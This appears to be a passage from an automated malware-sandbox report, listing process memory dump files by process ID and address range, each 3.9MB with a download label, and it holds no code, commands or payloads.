memory/4720-2849-0x00007FF6BFEC0000-0x00007FF6C02B2000-memory.dmp

Filesize
3.9MB

Download
memory/4720-736-0x00007FF6BFEC0000-0x00007FF6C02B2000-memory.dmp

Filesize
3.9MB

Download
memory/4812-2822-0x00007FF6A50B0000-0x00007FF6A54A2000-memory.dmp

Filesize
3.9MB

Download
memory/4812-2835-0x00007FF6A50B0000-0x00007FF6A54A2000-memory.dmp

Filesize
3.9MB

Download
memory/4812-78-0x00007FF6A50B0000-0x00007FF6A54A2000-memory.dmp

Filesize
3.9MB

Download
memory/5000-2856-0x00007FF6E6D90000-0x00007FF6E7182000-memory.dmp

Filesize
3.9MB

Download
memory/5000-565-0x00007FF6E6D90000-0x00007FF6E7182000-memory.dmp

Filesize
3.9MB

Download
memory/5036-742-0x00007FF7C5CD0000-0x00007FF7C60C2000-memory.dmp

Filesize
3.9MB

Download
memory/5036-2846-0x00007FF7C5CD0000-0x00007FF7C60C2000-memory.dmp

Filesize
3.9MB

Download
memory/5076-739-0x00007FF7C4360000-0x00007FF7C4752000-memory.dmp

Filesize
3.9MB

Download
memory/5076-2830-0x00007FF7C4360000-0x00007FF7C4752000-memory.dmp

Filesize
3.9MB

Download